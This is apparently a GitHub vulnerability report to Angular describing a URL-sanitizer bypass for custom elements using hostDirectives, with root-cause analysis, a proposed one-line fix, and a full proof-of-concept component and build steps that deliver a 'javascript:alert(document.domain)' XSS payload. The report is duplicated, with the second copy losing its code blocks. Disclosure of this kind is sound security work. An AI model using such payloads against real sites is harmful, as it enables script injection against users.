Which @angular/* package(s) are the source of the bug?
compiler, core
Is this a regression?
Yes
Description
Summary
This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0.
The original CVE addressed compile-time SecurityContext miscalculation for directive host bindings. However, the runtime fallback path in ɵɵsanitizeUrlOrResourceUrl was not fixed, leaving a silent sanitizer bypass available through the hostDirectives composition API.
Referred from Google VRP (issue filed with OSS VRP program).
Root Cause
File: packages/core/src/sanitization/sanitization.ts — line 263
// VULNERABLE (current)
export function ɵɵsanitizeUrlOrResourceUrl(unsafeUrl: any, tag: string, prop: string) {
return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;
}
When getUrlSanitizer() receives a custom element tag (e.g. app-link) not present in the DOM security schema:
getSecurityContext("app-link", "href") → SecurityContext.NONE
getUrlSanitizer() hits default branch → returns null
null?.(unsafeUrl) ?? unsafeUrl → raw unsanitized URL returned
This allows javascript: URLs to reach the DOM silently, with no warning and no bypassSecurityTrust* call required.
Compiled Output Proof
The Angular compiler intentionally emits ɵɵsanitizeUrlOrResourceUrl for hostDirectives host bindings, proving sanitization was intended:
// Custom element via hostDirectives — emits bypassable sanitizer ❌
ɵɵattribute("href", ctx.href, ɵɵsanitizeUrlOrResourceUrl);
// Native <a> element — emits safe sanitizer ✅
ɵɵattribute("href", ctx.userInput, ɵɵsanitizeUrl);
Pre-Rendered HTML Proof (SSR/SSG)
<!-- Native <a> — SANITIZED ✅ -->
<a id="safe-link" href="unsafe:javascript:alert(document.domain)">Click me (native a)</a>
<!-- Custom element via hostDirectives — BYPASSED ❌ -->
<app-link id="vuln-link" href="javascript:alert(document.domain)">Click me (custom element) - XSS!</app-link>
Angular correctly prefixes unsafe: on the native element. The custom element receives the raw javascript: URL with no sanitization.
Fix
One-line change in packages/core/src/sanitization/sanitization.ts:
// BEFORE (vulnerable)
return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;
// AFTER (fixed)
return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? ɵɵsanitizeUrl(unsafeUrl);
Replacing ?? unsafeUrl with ?? ɵɵsanitizeUrl(unsafeUrl) ensures that even when the runtime element is unknown or custom, minimum URL sanitization is always applied.
Reproduction Steps
1. Create a new Angular project with SSR:
npx -y @angular/cli@latest new vuln-poc --routing=false --style=css --ssr=true --skip-tests --skip-git --defaults
cd vuln-poc
2. Replace src/app/app.ts with the PoC below.
3. Build:
npx ng build --configuration=development
4. Inspect pre-rendered HTML:
$html = Get-Content "dist\vuln-poc\browser\index.html" -Raw
[regex]::Matches($html, 'href="[^"]*"') | ForEach-Object { Write-Host $_.Value }
Expected output confirms bypass:
href="unsafe:javascript:alert(document.domain)" ← SANITIZED (native )
href="javascript:alert(document.domain)" ← BYPASSED (custom element)
5. Serve and click the vulnerable link to trigger XSS:
npx ng serve --port 4200
# Open http://localhost:4200
# Click "Click me (custom element) - XSS!"
# alert(document.domain) executes
PoC Component (src/app/app.ts)
import { Component, Directive, HostBinding, HostListener, Input, PLATFORM_ID, inject } from '@angular/core';
import { isPlatformBrowser } from '@angular/common';
@Directive({
selector: '[appLink]',
standalone: true,
})
export class LinkDirective {
@HostBinding('attr.href') @Input() href!: string;
}
@Component({
selector: 'app-link',
standalone: true,
template: `<ng-content></ng-content>`,
hostDirectives: [{ directive: LinkDirective, inputs: ['href'] }],
})
export class AppLinkComponent {
@Input() href!: string;
@HostListener('click')
onClick(): void {
if (this.href) window.location.href = this.href;
}
}
@Component({
selector: 'app-root',
standalone: true,
imports: [AppLinkComponent],
template: `
<a [attr.href]="userInput" id="safe-link">Click me (native a)</a>
<app-link [href]="userInput" id="vuln-link">Click me (custom element) - XSS!</app-link>
`,
})
export class App {
userInput = 'javascript:alert(document.domain)';
}
Environment
|
|
| Angular |
22.1.6 (latest stable) |
| Angular CLI |
22.1.8 |
| @angular/core |
22.1.6 |
| @angular/compiler |
22.1.6 |
| Node.js |
22.23.2 |
| OS |
Windows 10 x64 |
Why This Is Not Intended Behavior
- CVE-2026-88057 regression — Google accepted this exact vulnerability class as a security issue. The 22.1.0 fix was incomplete.
- Compiler intent — The compiler explicitly emits
ɵɵsanitizeUrlOrResourceUrl for this binding. If no sanitization were intended, no sanitizer would be emitted.
- Documented guarantee violated — angular.dev/best-practices/security states: "Angular automatically sanitizes values bound to URL-sensitive properties." No exception for custom elements is documented.
- No explicit opt-out used — No
bypassSecurityTrust* API is called anywhere. The bypass is silent and automatic.
Affected Files
packages/core/src/sanitization/sanitization.ts — ɵɵsanitizeUrlOrResourceUrl (line 263), getUrlSanitizer (line 237)
packages/compiler/src/template/pipeline/src/ingest.ts — calcHostBindingSecurityContexts
packages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.ts
Please provide a link to a minimal reproduction of the bug
Self-contained - full PoC is in the Description above (app.ts + build steps). No external repo required. Reproducible with any fresh Angular 22.x SSR project.
Please provide the exception or error you saw
No exception is thrown — the bypass is silent.
Build warning (only for native <a>, NOT for the vulnerable custom element):
WARNING: sanitizing unsafe URL value javascript:alert(document.domain)
(see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)
DevTools console on click of vulnerable element:
(no error — alert(document.domain) executes silently)
Pre-rendered DOM confirms bypass:
<app-link href="javascript:alert(document.domain)"> ← unsanitized in DOM
Please provide the environment you discovered this bug in (run ng version)
Angular CLI: 22.1.8
Node: 22.23.2
Package Manager: npm 10.9.8
OS: win32 x64
Angular: 22.1.6
... common, compiler, compiler-cli, core, platform-browser, platform-server, router, ssr
Package Version
-----------------------------------------
@angular/build 22.1.8
@angular/cli 22.1.8
@angular/common 22.1.6
@angular/compiler 22.1.6
@angular/compiler-cli 22.1.6
@angular/core 22.1.6
@angular/platform-browser 22.1.6
@angular/platform-server 22.1.6
@angular/router 22.1.6
@angular/ssr 22.1.8
rxjs 7.8.2
typescript 6.0.3
Anything else?
This report was originally filed with Google's OSS Vulnerability Reward Program.
The Google security team reviewed it (priority escalated to P2) and referred it
to Angular maintainers to address upstream:
"We encourage you to work directly with the maintainers of the angular/angular
repository by opening public issues and pull requests to address this vulnerability.
When you file the report with Angular, please mention that we referred you from the VRP."
A one-line patch is proposed in the Description above. Happy to submit a PR if helpful.
Which @angular/* package(s) are the source of the bug?
compiler, core
Is this a regression?
Yes
Description
Summary
This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0.
The original CVE addressed compile-time
SecurityContextmiscalculation for directive host bindings. However, the runtime fallback path inɵɵsanitizeUrlOrResourceUrlwas not fixed, leaving a silent sanitizer bypass available through thehostDirectivescomposition API.Root Cause
File:
packages/core/src/sanitization/sanitization.ts— line 263When
getUrlSanitizer()receives a custom element tag (e.g.app-link) not present in the DOM security schema:getSecurityContext("app-link", "href")→SecurityContext.NONEgetUrlSanitizer()hitsdefaultbranch → returnsnullnull?.(unsafeUrl) ?? unsafeUrl→ raw unsanitized URL returnedThis allows
javascript:URLs to reach the DOM silently, with no warning and nobypassSecurityTrust*call required.Compiled Output Proof
The Angular compiler intentionally emits
ɵɵsanitizeUrlOrResourceUrlforhostDirectiveshost bindings, proving sanitization was intended:Pre-Rendered HTML Proof (SSR/SSG)
Angular correctly prefixes
unsafe:on the native element. The custom element receives the rawjavascript:URL with no sanitization.Fix
One-line change in
packages/core/src/sanitization/sanitization.ts:Replacing
?? unsafeUrlwith?? ɵɵsanitizeUrl(unsafeUrl)ensures that even when the runtime element is unknown or custom, minimum URL sanitization is always applied.Reproduction Steps
1. Create a new Angular project with SSR:
npx -y @angular/cli@latest new vuln-poc --routing=false --style=css --ssr=true --skip-tests --skip-git --defaults cd vuln-poc2. Replace
src/app/app.tswith the PoC below.3. Build:
4. Inspect pre-rendered HTML:
Expected output confirms bypass:
href="unsafe:javascript:alert(document.domain)" ← SANITIZED (native )
href="javascript:alert(document.domain)" ← BYPASSED (custom element)
5. Serve and click the vulnerable link to trigger XSS:
PoC Component (
src/app/app.ts)Environment
Why This Is Not Intended Behavior
ɵɵsanitizeUrlOrResourceUrlfor this binding. If no sanitization were intended, no sanitizer would be emitted.bypassSecurityTrust*API is called anywhere. The bypass is silent and automatic.Affected Files
packages/core/src/sanitization/sanitization.ts—ɵɵsanitizeUrlOrResourceUrl(line 263),getUrlSanitizer(line 237)packages/compiler/src/template/pipeline/src/ingest.ts—calcHostBindingSecurityContextspackages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.tsPlease provide a link to a minimal reproduction of the bug
Self-contained - full PoC is in the Description above (app.ts + build steps). No external repo required. Reproducible with any fresh Angular 22.x SSR project.
Please provide the exception or error you saw
Please provide the environment you discovered this bug in (run
ng version)Anything else?
This report was originally filed with Google's OSS Vulnerability Reward Program.
The Google security team reviewed it (priority escalated to P2) and referred it
to Angular maintainers to address upstream:
A one-line patch is proposed in the Description above. Happy to submit a PR if helpful.